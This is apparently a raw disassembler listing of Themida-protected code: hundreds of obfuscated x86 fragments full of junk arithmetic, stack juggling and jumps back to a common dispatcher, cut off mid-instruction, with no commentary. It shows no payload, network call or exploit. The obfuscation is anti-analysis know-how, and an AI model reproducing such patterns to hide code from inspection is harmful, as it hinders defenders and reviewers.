Themida_:00553793j mov edx, 4 push edi mov edi, 7D4A0860h xor edi, 733A28B9h xor edi, 41CF5D5Eh add esi, edi pop edi sub esi, edx sub esi, 4FBF7D87h pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], edx push 21F8h mov [esp], eax push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push eax jmp loc_556CDD ; --------------------------------------------------------------------------- loc_5560D4: ; CODE XREF: Themida_:00553D19j mov ecx, esp add ecx, 4 push esi push 1C524515h pop esi jmp loc_551983 ; --------------------------------------------------------------------------- loc_5560E8: ; CODE XREF: Themida_:0055A9F7j pop ecx add esp, 4 jmp loc_55789F ; --------------------------------------------------------------------------- loc_5560F1: ; CODE XREF: Themida_:00552446j xor edi, 470F3359h add edi, 6C6FCFBBh jmp loc_553473 ; --------------------------------------------------------------------------- loc_556102: ; CODE XREF: Themida_:005534D3j add ebx, edx add ebx, 6E5A1BDAh push dword ptr [esp] pop edx add esp, 4 push eax mov eax, 14997AA1h shl eax, 7 jmp loc_5538F0 ; --------------------------------------------------------------------------- loc_55611F: ; CODE XREF: Themida_:005581D6j add [esp+4], edx jmp loc_55259F ; --------------------------------------------------------------------------- loc_556128: ; CODE XREF: Themida_:0055AC8Bj mov cl, 72h neg cl jmp loc_55A1F1 ; --------------------------------------------------------------------------- loc_556131: ; CODE XREF: Themida_:0055ABBDj push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 366C56C1h neg ebp or ebp, 542A5907h jmp loc_55139E ; --------------------------------------------------------------------------- loc_55614D: ; CODE XREF: Themida_:005523DBj add edi, ebx pop ebx add edi, 4 xchg edi, [esp] pop esp mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ebx mov ebx, 5C0C6B34h sub eax, 65173CA7h jmp loc_55D03C ; --------------------------------------------------------------------------- loc_55617E: ; CODE XREF: Themida_:00557AE7j pop edx jmp loc_55D1A3 ; --------------------------------------------------------------------------- loc_556184: ; CODE XREF: Themida_:005572D4j pop edx jmp loc_558149 ; --------------------------------------------------------------------------- loc_55618A: ; CODE XREF: Themida_:0055236Fj or eax, eax jnz loc_55BCC0 push edi mov edi, 17303AD6h push 15B5h mov [esp], edx mov edx, 3BC07CB9h xor edx, 288A22EEh push esi mov esi, 4C1B2B7Ch or edx, esi mov esi, [esp] push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] pop esp shl edx, 1 push edi jmp loc_55A06A ; --------------------------------------------------------------------------- loc_5561D3: ; CODE XREF: Themida_:00553924j add esp, 4 add ebp, 6FA766C1h add ebp, ecx sub ebp, 6FA766C1h pop ecx add ebp, 4 xchg ebp, [esp] jmp loc_55779F ; --------------------------------------------------------------------------- loc_5561F3: ; CODE XREF: Themida_:0055296Ej sub edx, 765D27F8h add edx, ebx add edx, 765D27F8h jmp loc_55B7D4 ; --------------------------------------------------------------------------- loc_556206: ; CODE XREF: Themida_:0055B891j pop esp add ebp, ebx push ebx push eax mov eax, 7A9770B3h mov ebx, eax pop eax shr ebx, 2 shr ebx, 1 xor ebx, 3A06034h neg ebx add ebx, 6360D93Dh add ebp, ebx pop ebx mov ebx, [esp] add esp, 4 xchg ebp, [esp] pop esp jmp loc_552352 ; --------------------------------------------------------------------------- loc_55623B: ; CODE XREF: Themida_:00556F81j mov edi, 1B7E2932h neg edi shr edi, 2 xor edi, 8542C279h jmp loc_55D1E5 ; --------------------------------------------------------------------------- loc_556250: ; CODE XREF: Themida_:00558BFCj xchg esi, [esp] jmp loc_559F52 ; --------------------------------------------------------------------------- loc_556258: ; CODE XREF: Themida_:0055287Cj push edx mov edx, 7B2C7131h xchg ebp, edx not ebp xchg ebp, edx not edx push ebx mov ebx, 7AE116FFh push esi mov esi, 8EF78BBh sub ebx, esi pop esi xor ebx, 0F422108Bh add edx, 7DB86DABh jmp loc_553D0D ; --------------------------------------------------------------------------- loc_556286: ; CODE XREF: Themida_:0055D4BEj mov eax, ecx pop ecx jmp loc_555185 ; --------------------------------------------------------------------------- loc_55628E: ; CODE XREF: Themida_:0055C134j xor eax, ecx push 7171h mov [esp], eax push eax push dword ptr [esp+4] mov eax, [esp] push esi push esp pop esi jmp loc_5559AA ; --------------------------------------------------------------------------- loc_5562A8: ; CODE XREF: Themida_:0055BEEDj pop eax add esp, 4 shl eax, 6 push edx mov edx, 280C1847h and eax, edx pop edx add eax, 0D7FFEFC2h mov esi, eax mov eax, [esp] add esp, 4 sub edx, esi mov esi, [esp] add esp, 4 xchg edx, [esp] jmp loc_5533E7 ; --------------------------------------------------------------------------- loc_5562DB: ; CODE XREF: Themida_:00553EB2j add eax, 0FFFFFFFFh push edi mov edi, 42A9379Dh and edi, 119C5C53h dec edi shl edi, 3 sub edi, 1E766584h push ebp jmp loc_55B830 ; --------------------------------------------------------------------------- loc_5562FA: ; CODE XREF: Themida_:00555BCFj pop ecx sub bl, cl sub bl, 3Ah sub bl, 37h pop ecx shl bl, 1 xor bl, 29h add bl, 0D0h mov al, bl pop ebx sub al, 7Bh push ecx mov ch, al push eax mov al, ch mov bh, al pop eax jmp loc_55AF86 ; --------------------------------------------------------------------------- loc_55631F: ; CODE XREF: Themida_:00553829j pop ecx pop esi xor edi, 68D20E5h sub eax, edi mov edi, [esp] add esp, 4 or eax, eax jnz loc_5555EE push 1 push dword ptr [esp] mov edx, [esp] sub esp, 4 jmp loc_55B48C ; --------------------------------------------------------------------------- loc_55634D: ; CODE XREF: Themida_:0055B7C7j add esi, 7BAD3FCBh jmp loc_557806 ; --------------------------------------------------------------------------- loc_556358: ; CODE XREF: Themida_:00559DFAj xchg ebp, [esp] jmp loc_557EF3 ; --------------------------------------------------------------------------- loc_556360: ; CODE XREF: Themida_:00554F6Bj add bl, 8Fh sub bl, cl sub bl, 8Fh sub bl, 0A4h pop ecx movzx eax, al mov dx, [esp] push ecx push esp pop ecx push ebx jmp loc_55159F ; --------------------------------------------------------------------------- loc_55637C: ; CODE XREF: Themida_:0055A878j mov ebp, 707931CAh add eax, ebp pop ebp add eax, ebx sub eax, 707931CAh pop ebx add eax, 2 xchg eax, [esp] mov esp, [esp] mul cl movzx cx, ah push small 728Ah mov [esp], cx jmp loc_5545AA ; --------------------------------------------------------------------------- loc_5563AA: ; CODE XREF: Themida_:005583ADj pop esi push edi push ecx mov ecx, 29D41655h mov edi, 47443F7Bh xor edi, ecx pop ecx jmp loc_55C54B ; --------------------------------------------------------------------------- loc_5563BF: ; CODE XREF: Themida_:0055C482j neg esi sub esi, 62CA7CBBh add eax, esi pop esi push ebp push eax mov eax, 19637E38h jmp loc_5533A7 ; --------------------------------------------------------------------------- loc_5563D6: ; CODE XREF: Themida_:0055B5C1j mov esi, 721E48A1h push 0 sub dword ptr [esp], 35AB5170h sub [esp], esi add dword ptr [esp], 35AB5170h jmp loc_55AF21 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_551368 ; --------------------------------------------------------------------------- loc_5563FF: ; CODE XREF: Themida_:00556FDBj add eax, 1A476B29h sub eax, 47E37332h sub eax, 73A67F6Eh jmp loc_55C3A6 ; --------------------------------------------------------------------------- loc_556413: ; CODE XREF: Themida_:0055C7EBj mov [esp], eax push 7EC4h mov [esp], ebp push 7C504554h jmp loc_55B232 ; --------------------------------------------------------------------------- loc_556428: ; CODE XREF: Themida_:0055AA74j sub edx, edi jmp loc_55507F ; --------------------------------------------------------------------------- loc_55642F: ; CODE XREF: Themida_:0055D168j movzx eax, al push small 706Ch mov [esp], ax jmp loc_551368 ; --------------------------------------------------------------------------- loc_55643F: ; CODE XREF: Themida_:00556D02j inc esi jmp loc_556CC3 ; --------------------------------------------------------------------------- loc_556445: ; CODE XREF: Themida_:005594E2j add ebx, ebp jmp loc_55C139 ; --------------------------------------------------------------------------- loc_55644C: ; CODE XREF: Themida_:00557F43j sub esp, 4 mov [esp], edi mov edi, 35D16502h inc edi dec edi jmp loc_55ABCD ; --------------------------------------------------------------------------- loc_55645E: ; CODE XREF: Themida_:0055C26Ej mov [esp], ebx mov bl, 74h add bl, 24h sub al, 0B9h sub al, 0B6h push bx mov bh, 1Ch sub al, bh mov bx, [esp] add esp, 2 sub al, bl push ecx mov cl, 5Ch sub cl, 1 jmp loc_551DCD ; --------------------------------------------------------------------------- loc_556484: ; CODE XREF: Themida_:00557605j pop edx push ebp mov ebp, 4 sub eax, ebp pop ebp xchg eax, [esp] pop esp mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] pop esp jmp loc_5530FF ; --------------------------------------------------------------------------- push 53A2h mov [esp], ebx push 400h pop ebx or [edi+1Ch], ebx push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 push 38A2h mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 add edi, 4 push edi push dword ptr [esp+4] jmp loc_557CF5 ; --------------------------------------------------------------------------- loc_5564EF: ; CODE XREF: Themida_:00554066j add ebx, edi pop edi jmp loc_55665B ; --------------------------------------------------------------------------- loc_5564F7: ; CODE XREF: Themida_:0055C680j pop ebp add ebp, 4 jmp loc_5597D3 ; --------------------------------------------------------------------------- loc_556503: ; CODE XREF: Themida_:00551F7Bj mov edi, 2 sub ebx, edi pop edi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], dx push ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_556521: ; CODE XREF: Themida_:0055AD2Aj sub esp, 4 mov [esp], ebx pop esi mov ebx, [esp] add esp, 4 dec esi shl esi, 1 sub esi, 38D36E82h sub edx, esi pop esi jmp loc_551368 ; --------------------------------------------------------------------------- loc_556542: ; CODE XREF: Themida_:00552C88j xor ch, 0DBh push eax push ebx mov bl, 81h mov ah, bl jmp loc_55C720 ; --------------------------------------------------------------------------- loc_556550: ; CODE XREF: Themida_:00555B3Dj mov eax, [esp] push 6643h mov [esp], edx jmp loc_55BCA3 ; --------------------------------------------------------------------------- loc_556560: ; CODE XREF: Themida_:00551D26j push ecx mov ecx, 1B70064Ah add eax, ecx jmp loc_555412 ; --------------------------------------------------------------------------- loc_55656D: ; CODE XREF: Themida_:0055A4C4j mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_557C74 ; --------------------------------------------------------------------------- loc_55657B: ; CODE XREF: Themida_:0055B35Fj push dword ptr [esp] pop ebx jmp $+5 add esp, 4 add esp, 4 or edx, eax shl edx, 1 push ecx push 1 mov ecx, [esp] add esp, 4 push edx mov edx, 24h add edx, edi add [edx], ecx mov edx, [esp] push edi jmp loc_555CBD ; --------------------------------------------------------------------------- loc_5565B0: ; CODE XREF: Themida_:0055A0B2j push ecx jmp loc_55CFF8 ; --------------------------------------------------------------------------- loc_5565B6: ; CODE XREF: Themida_:0055CD08j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp push esp pop dword ptr [esp] sub esp, 4 mov [esp], edx jmp loc_558FF5 ; --------------------------------------------------------------------------- loc_5565D8: ; CODE XREF: Themida_:0055310Bj push 7454h push esp pop dword ptr [esp] push ebx mov ebx, 4 add [esp+4], ebx mov ebx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 2 sub esp, 4 mov [esp], ecx jmp loc_551BF3 ; --------------------------------------------------------------------------- loc_55660E: ; CODE XREF: Themida_:00559284j mov edi, 49AB3B55h or edi, 53A050A4h not edi add edi, 48CF122Ch sub edi, 0C5C62D35h jmp loc_557FD6 ; --------------------------------------------------------------------------- loc_55662C: ; CODE XREF: Themida_:00558756j mov edx, 731353DCh jmp loc_555AAB ; --------------------------------------------------------------------------- loc_556636: ; CODE XREF: Themida_:0055B02Ej push ebx push esp push dword ptr [esp] mov ebx, [esp] sub esp, 4 jmp loc_557039 ; --------------------------------------------------------------------------- loc_556646: ; CODE XREF: Themida_:0055814Dj shr ecx, 7 push edx mov edx, esp push ecx jmp loc_55984C ; --------------------------------------------------------------------------- loc_556652: ; CODE XREF: Themida_:00555AD3j xchg edi, [esp] pop esp jmp loc_551368 ; --------------------------------------------------------------------------- loc_55665B: ; CODE XREF: Themida_:005564F2j push ebx jmp loc_553501 ; --------------------------------------------------------------------------- loc_556661: ; CODE XREF: Themida_:00554F2Bj xchg ecx, esi not esi push ebp push edx jmp loc_55B7B4 ; --------------------------------------------------------------------------- loc_55666C: ; CODE XREF: Themida_:00559758j mov edi, 1A136ECDh shl edi, 1 shl edi, 1 or edi, 43FA2C2Bh jmp loc_558496 ; --------------------------------------------------------------------------- push small 1011h jmp loc_557030 ; --------------------------------------------------------------------------- loc_556689: ; CODE XREF: Themida_:00559F03j pop esp push edx jmp loc_5520D2 ; --------------------------------------------------------------------------- loc_556690: ; CODE XREF: Themida_:00556060j push edx push ecx jmp loc_558924 ; --------------------------------------------------------------------------- loc_556697: ; CODE XREF: Themida_:00554E06j mov ebx, 5976358h and edi, ebx pop ebx jmp loc_55336D ; --------------------------------------------------------------------------- loc_5566A4: ; CODE XREF: Themida_:0055B103j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55982A ; --------------------------------------------------------------------------- loc_5566B8: ; CODE XREF: Themida_:005548E6j mov ch, 37h shr ch, 5 shl ch, 1 jmp loc_55A4B0 ; --------------------------------------------------------------------------- loc_5566C4: ; CODE XREF: Themida_:00556FF5j pop ecx pop bx push dx mov dh, 96h mov bl, dh jmp loc_5582C9 ; --------------------------------------------------------------------------- lodsd jmp loc_55276C ; --------------------------------------------------------------------------- loc_5566D8: ; CODE XREF: Themida_:00558DFCj add edx, 4 xchg edx, [esp] mov esp, [esp] add eax, 2 xchg eax, [esp] mov esp, [esp] mov fs:[edx], al jmp loc_551368 ; --------------------------------------------------------------------------- push 254Dh mov [esp], esi sub esp, 4 mov [esp], ecx mov ecx, 53947h mov esi, ecx pop ecx push esi pop eax push dword ptr [esp] jmp loc_557B77 ; --------------------------------------------------------------------------- loc_556717: ; CODE XREF: Themida_:0055B8EDj add esp, 4 xor dl, bh jmp loc_5543C9 ; --------------------------------------------------------------------------- loc_556721: ; CODE XREF: Themida_:00552DBCj add al, ch jmp loc_55B8DA ; --------------------------------------------------------------------------- loc_556728: ; CODE XREF: Themida_:0055BDFFj mov edx, ebx pop ebx push ebp mov ebp, 0AC67824h jmp loc_556E49 ; --------------------------------------------------------------------------- loc_556736: ; CODE XREF: Themida_:0055829Bj shr dl, 2 dec dl sub dl, 0EFh mov bl, dl jmp loc_5554FC ; --------------------------------------------------------------------------- loc_556745: ; CODE XREF: Themida_:0055537Cj sub ecx, 4 push ecx jmp loc_555005 ; --------------------------------------------------------------------------- loc_55674E: ; CODE XREF: Themida_:0055B7F6j or bp, si pop esi not bp shr bp, 8 add bp, 2651h shr bp, 8 push ecx push si mov si, 1A76h mov cx, si mov si, [esp] add esp, 2 or cx, 3214h not cx and cx, 5B18h shl cx, 4 jmp loc_558AF5 ; --------------------------------------------------------------------------- loc_556789: ; CODE XREF: Themida_:0055AC42j add ebp, 6EAD1B83h shr ebp, 8 jmp loc_554374 ; --------------------------------------------------------------------------- loc_556797: ; CODE XREF: Themida_:0055BA5Bj push ebp mov ebp, 2ADE2F75h sub ebp, 33B35003h jmp loc_5577CA ; --------------------------------------------------------------------------- loc_5567A8: ; CODE XREF: Themida_:0055454Dj add ebx, 7C6E167Fh shl ebx, 3 or ebx, 306F58B8h neg ebx sub ebx, 67B7D4EEh sub esi, ebx mov ebx, [esp] add esp, 4 sub esi, 4005634Fh jmp loc_55A87D ; --------------------------------------------------------------------------- loc_5567D5: ; CODE XREF: Themida_:0055573Cj sub ecx, 65BA0186h pop ebx sub ecx, 4 jmp loc_55A3CE ; --------------------------------------------------------------------------- loc_5567E4: ; CODE XREF: Themida_:00558ADBj dec ecx shr ecx, 1 xor ecx, 0F4E7C805h jmp loc_557A08 ; --------------------------------------------------------------------------- loc_5567F2: ; CODE XREF: Themida_:00558DBDj mov cl, 1Fh sub al, cl pop cx add al, 0AFh add al, bl sub al, 0AFh sub esp, 4 mov [esp], ecx push ebx mov bl, 0EDh add bl, 0Ah jmp loc_551D7B ; --------------------------------------------------------------------------- loc_55680F: ; CODE XREF: Themida_:00557D55j pop eax not ebp inc ebp push edx mov edx, 679855CCh xor ebp, edx pop edx or ebp, 157D5294h jmp loc_55D398 ; --------------------------------------------------------------------------- mov ax, [esp] push edx mov edx, esp add edx, 4 push ebp jmp loc_558AE0 ; --------------------------------------------------------------------------- loc_55683A: ; CODE XREF: Themida_:0055184Bj sub ecx, esi jmp loc_552439 ; --------------------------------------------------------------------------- loc_556841: ; CODE XREF: Themida_:00552B8Aj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sar dword ptr [esp], cl pushf jmp loc_5515D4 ; --------------------------------------------------------------------------- loc_556854: ; CODE XREF: Themida_:00559EC4j pop esp mov [esp], edx push esp jmp loc_551D75 ; --------------------------------------------------------------------------- loc_55685E: ; CODE XREF: Themida_:0055AED3j pop dx add bl, 18h add bl, al push edx mov dh, 5Eh dec dh sub dh, 45h sub bl, dh pop edx push dx push ecx mov cl, 48h push ebx jmp loc_55480F ; --------------------------------------------------------------------------- loc_55687B: ; CODE XREF: Themida_:00552D4Aj mov [esp], ecx mov ecx, 3F12148Ch mov esi, 0D0BE2BACh jmp loc_551527 ; --------------------------------------------------------------------------- loc_55688D: ; CODE XREF: Themida_:0055A2F7j mov edx, [esp] add esp, 4 add ebx, eax push eax jmp loc_55A5CB ; --------------------------------------------------------------------------- loc_55689B: ; CODE XREF: Themida_:00558ED4j pop edx sub esp, 4 mov [esp], ebx push esi mov esi, 4 push edx push esi add dword ptr [esp], 16BA3516h pop edx sub edx, 16BA3516h mov ebx, edx jmp loc_55296C ; --------------------------------------------------------------------------- loc_5568C2: ; CODE XREF: Themida_:005593DCj mov ebp, 1 push ecx sub esp, 4 mov [esp], edx push 40B11DB1h jmp loc_55BCE1 ; --------------------------------------------------------------------------- loc_5568D8: ; CODE XREF: Themida_:0055289Ej inc eax shr eax, 6 jmp loc_555437 ; --------------------------------------------------------------------------- mov ax, [esp] push eax jmp loc_55B521 ; --------------------------------------------------------------------------- loc_5568EB: ; CODE XREF: Themida_:005524CEj mov eax, [esp] push ebx mov ebx, esp jmp loc_5599D7 ; --------------------------------------------------------------------------- loc_5568F6: ; CODE XREF: Themida_:0055825Fj push esi mov esi, 4 jmp loc_55D309 ; --------------------------------------------------------------------------- loc_556901: ; CODE XREF: Themida_:0055CE51j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebp push esp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 jmp loc_5576C9 ; --------------------------------------------------------------------------- loc_556926: ; CODE XREF: Themida_:0055A17Aj push bx mov bh, 42h add dh, 28h sub dh, bh jmp loc_55D0AF ; --------------------------------------------------------------------------- loc_556934: ; CODE XREF: Themida_:00552E9Ej push edx mov edx, 4 jmp loc_558B28 ; --------------------------------------------------------------------------- loc_55693F: ; CODE XREF: Themida_:0055A192j push esi jmp loc_558C5D ; --------------------------------------------------------------------------- loc_556945: ; CODE XREF: Themida_:0055BA41j mov edi, [esp] add esp, 4 add [esp+4], eax pop eax jmp loc_55CEDF ; --------------------------------------------------------------------------- loc_556958: ; CODE XREF: Themida_:00553BCFj pop dword ptr [eax] jmp loc_551368 ; --------------------------------------------------------------------------- loc_55695F: ; CODE XREF: Themida_:00556E33j mov [esp], edi push 63DEB27Bh pop edi add eax, edi push dword ptr [esp] pop edi add esp, 4 sub esp, 4 mov [esp], ebp push edi jmp loc_559959 ; --------------------------------------------------------------------------- loc_556980: ; CODE XREF: Themida_:00554174j push ebx mov ebx, 56C76C7Ah not ebx jmp loc_554FCD ; --------------------------------------------------------------------------- loc_55698D: ; CODE XREF: Themida_:0055A505j push ecx push ebp push 7BB5695Dh pop ebp push edx mov edx, 9E74EED2h add ebp, edx pop edx mov ecx, ebp pop ebp xor ebp, ecx jmp loc_5572BC ; --------------------------------------------------------------------------- loc_5569A8: ; CODE XREF: Themida_:00554B9Bj push eax push esp mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_55AB5A ; --------------------------------------------------------------------------- loc_5569BA: ; CODE XREF: Themida_:0055D521j add ebp, 0FFFFFFFFh dec ebp not ebp sub esp, 4 jmp loc_558C47 ; --------------------------------------------------------------------------- loc_5569CE: ; CODE XREF: Themida_:0055BCD6j sub ecx, 19FA4CCDh push 1C24h mov [esp], edx mov edx, 47585153h push 536Fh mov [esp], ebx jmp loc_553D43 ; --------------------------------------------------------------------------- loc_5569EE: ; CODE XREF: Themida_:00559250j shr ebx, 8 shl ebx, 5 add ebx, 0FFFF7FC4h add esi, ebx push dword ptr [esp] pop ebx push ecx push esp pop ecx jmp loc_55CCAA ; --------------------------------------------------------------------------- loc_556A08: ; CODE XREF: Themida_:005582A5j mov [esp], eax push 0FEh jmp loc_55A038 ; --------------------------------------------------------------------------- loc_556A15: ; CODE XREF: Themida_:00554C25j sub al, 0AAh sub al, bl add al, 0AAh mov ebx, [esp] jmp loc_55B799 ; --------------------------------------------------------------------------- loc_556A23: ; CODE XREF: Themida_:005523B8j inc ecx xor ecx, 42B0193Ah push edi mov edi, 18122D87h shl edi, 7 jmp loc_558F54 ; --------------------------------------------------------------------------- loc_556A38: ; CODE XREF: Themida_:00557D6Fj push ebx mov ebx, 7EFA2643h jmp loc_558FCA ; --------------------------------------------------------------------------- loc_556A43: ; CODE XREF: Themida_:00555781j xchg ecx, [esp] pop esp add ebx, 4 xchg ebx, [esp] mov esp, [esp] and [esp], eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_556A59: ; CODE XREF: Themida_:0055775Cj push edx push ebx mov bh, 6Fh mov dl, bh pop ebx jmp loc_559D0B ; --------------------------------------------------------------------------- loc_556A65: ; CODE XREF: Themida_:005571DCj add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_5538E3 ; --------------------------------------------------------------------------- loc_556A79: ; CODE XREF: Themida_:00557E8Aj pop edi jmp loc_555512 ; --------------------------------------------------------------------------- loc_556A7F: ; CODE XREF: Themida_:00554D03j push ecx push edi mov edi, 5059438Ah and edi, 4209126Dh not edi sub edi, 0AA1AB714h mov ecx, edi push dword ptr [esp] jmp loc_551752 ; --------------------------------------------------------------------------- loc_556A9E: ; CODE XREF: Themida_:0055CC2Fj add al, 82h jmp loc_552865 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- add dword ptr [esp], 4 mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 6Ah jmp loc_555C6B ; --------------------------------------------------------------------------- loc_556AC9: ; CODE XREF: Themida_:005539D1j dec eax shr eax, 5 jmp loc_55BAA9 ; --------------------------------------------------------------------------- loc_556AD2: ; CODE XREF: Themida_:005554B4j pop ebp not ebp dec ebp sub ebp, 0AB21B639h add edx, ebp pop ebp push ebp mov ebp, 4 sub edx, ebp jmp loc_55872E ; --------------------------------------------------------------------------- loc_556AEC: ; CODE XREF: Themida_:00552B12j pop eax jmp loc_55A0D9 ; --------------------------------------------------------------------------- loc_556AF2: ; CODE XREF: Themida_:005598D2j mov [esp], ecx jmp loc_55CE9D ; --------------------------------------------------------------------------- loc_556AFA: ; CODE XREF: Themida_:0055C281j add esp, 4 sub esp, 4 jmp loc_55AE3A ; --------------------------------------------------------------------------- loc_556B0B: ; CODE XREF: Themida_:0055CF09j add ecx, edx pop edx shr ecx, 5 jmp loc_55900A ; --------------------------------------------------------------------------- loc_556B16: ; CODE XREF: Themida_:005584E4j pop ebx push ebp mov ebp, 2 sub edx, 707E25C0h add edx, ebp add edx, 707E25C0h pop ebp xchg edx, [esp] jmp loc_55490E ; --------------------------------------------------------------------------- loc_556B34: ; CODE XREF: Themida_:005556A9j push eax mov eax, esp jmp loc_55CC8D ; --------------------------------------------------------------------------- loc_556B3C: ; CODE XREF: Themida_:005582CEj shl bl, 3 shr bl, 4 add bl, 24h jmp loc_552E38 ; --------------------------------------------------------------------------- loc_556B4A: ; CODE XREF: Themida_:0055141Cj push ecx mov ecx, 4 mov edi, ecx pop ecx sub edx, 738F0750h sub edx, edi add edx, 738F0750h pop edi xchg edx, [esp] jmp loc_557FFF ; --------------------------------------------------------------------------- loc_556B6A: ; CODE XREF: Themida_:0055C4FDj push edx push ecx jmp loc_55CF0E ; --------------------------------------------------------------------------- loc_556B71: ; CODE XREF: Themida_:00555F23j add ebp, eax pop eax push esi jmp loc_55D058 ; --------------------------------------------------------------------------- loc_556B7A: ; CODE XREF: Themida_:00555744j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push ecx mov ecx, 14DD2053h push eax mov eax, 14DD204Fh sub ecx, eax pop eax add ebx, ecx mov ecx, [esp] push edi jmp loc_554534 ; --------------------------------------------------------------------------- loc_556B9F: ; CODE XREF: Themida_:00553F3Fj not ch jmp loc_555430 ; --------------------------------------------------------------------------- loc_556BA6: ; CODE XREF: Themida_:0055B143j push eax push edx mov edx, 4 mov eax, edx jmp loc_5584B2 ; --------------------------------------------------------------------------- loc_556BB4: ; CODE XREF: Themida_:00555DBBj sub bl, 6Bh sub bl, cl jmp loc_557961 ; --------------------------------------------------------------------------- loc_556BBE: ; CODE XREF: Themida_:00555B12j shr ebx, 7 xor ebx, 12D56311h add ebx, 7C4564DCh neg ebx dec ebx sub ebx, 2F2AE2B8h sub eax, ebx jmp loc_55B8AD ; --------------------------------------------------------------------------- loc_556BDD: ; CODE XREF: Themida_:00559740j sub ebx, ebp pop ebp push eax jmp loc_55B727 ; --------------------------------------------------------------------------- loc_556BE6: ; CODE XREF: Themida_:00558B65j pop ebp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi jmp loc_559C9E ; --------------------------------------------------------------------------- loc_556BFB: ; CODE XREF: Themida_:00558B14j mov esi, 107802F7h add ebp, esi jmp loc_55CBD9 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx mov edx, esp push ebp jmp loc_55C889 ; --------------------------------------------------------------------------- loc_556C19: ; CODE XREF: Themida_:0055945Cj add al, 53h pop bx jmp loc_55516D ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_551368 ; --------------------------------------------------------------------------- loc_556C2A: ; CODE XREF: Themida_:0055506Cj add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_55A269 ; --------------------------------------------------------------------------- loc_556C3C: ; CODE XREF: Themida_:0055244Ej mov [esp], ebx mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax jmp loc_55BC70 ; --------------------------------------------------------------------------- loc_556C4F: ; CODE XREF: Themida_:005552BBj mov esi, 24F03B0Eh xor esi, 7DFB2457h sub esi, 2ACE7974h dec esi dec esi jmp loc_55B1B8 ; --------------------------------------------------------------------------- loc_556C67: ; CODE XREF: Themida_:0055A0FEj mov esi, [esp] add esp, 4 add ebp, 2 xchg ebp, [esp] pop esp bt [esp], ax pushf jmp loc_55B89E ; --------------------------------------------------------------------------- loc_556C85: ; CODE XREF: Themida_:0055578Bj shr bh, 7 jmp loc_553493 ; --------------------------------------------------------------------------- loc_556C8D: ; CODE XREF: Themida_:0055B57Ej shr al, 5 jmp loc_552906 ; --------------------------------------------------------------------------- loc_556C95: ; CODE XREF: Themida_:00559119j push eax push 6C5B093Bh pop eax neg eax shl eax, 1 jmp loc_55C006 ; --------------------------------------------------------------------------- loc_556CA5: ; CODE XREF: Themida_:0055883Ej xchg ebx, [esp] pop esp mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_55840A ; --------------------------------------------------------------------------- loc_556CB8: ; CODE XREF: Themida_:00554A21j push ecx mov ecx, 26807AA4h jmp loc_55AB3D ; --------------------------------------------------------------------------- loc_556CC3: ; CODE XREF: Themida_:00556440j add esi, 43312C41h add esi, 362D4689h shr esi, 4 add esi, 0D7B67548h jmp loc_5585A6 ; --------------------------------------------------------------------------- loc_556CDD: ; CODE XREF: Themida_:005560CFj mov eax, esp sub esp, 4 mov [esp], ebp mov ebp, 2777628Ah not ebp push 0AC6h jmp loc_55B0AE ; --------------------------------------------------------------------------- loc_556CF6: ; CODE XREF: Themida_:00553A32j pop edx jmp loc_55224A ; --------------------------------------------------------------------------- loc_556CFC: ; CODE XREF: Themida_:005588F4j push esi mov esi, 74F6CFEh jmp loc_55643F ; --------------------------------------------------------------------------- loc_556D07: ; CODE XREF: Themida_:00559A6Ej add bl, 70h add bl, dl sub bl, 70h pop edx push edx push edi mov edi, 663F2687h sub edi, 4E39186Fh dec edi jmp loc_551D3B ; --------------------------------------------------------------------------- loc_556D23: ; CODE XREF: Themida_:005580F3j push 7FC4h mov [esp], ebp push 143452B6h mov ebp, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 push 2D6Bh mov [esp], ebp push dword ptr [esp+4] jmp loc_55B8F2 ; --------------------------------------------------------------------------- loc_556D55: ; CODE XREF: Themida_:0055B759j shr ecx, 2 sub esp, 4 mov [esp], ebp mov ebp, 690C4A3Fh sub ecx, ebp jmp loc_5525BC ; --------------------------------------------------------------------------- loc_556D6A: ; CODE XREF: Themida_:00559509j xor bl, ah pop eax push ecx mov cl, 89h sub cl, 3Eh add bl, 45h sub bl, cl jmp loc_55B942 ; --------------------------------------------------------------------------- loc_556D7D: ; CODE XREF: Themida_:005514EBj push 1F52h jmp loc_555C63 ; --------------------------------------------------------------------------- loc_556D87: ; CODE XREF: Themida_:00558378j push ebx mov bh, 26h not bh add bh, 4Ch and bh, 7Ch jmp loc_553D33 ; --------------------------------------------------------------------------- loc_556D97: ; CODE XREF: Themida_:005544D9j mov al, cl mov cx, [esp] add esp, 2 jmp 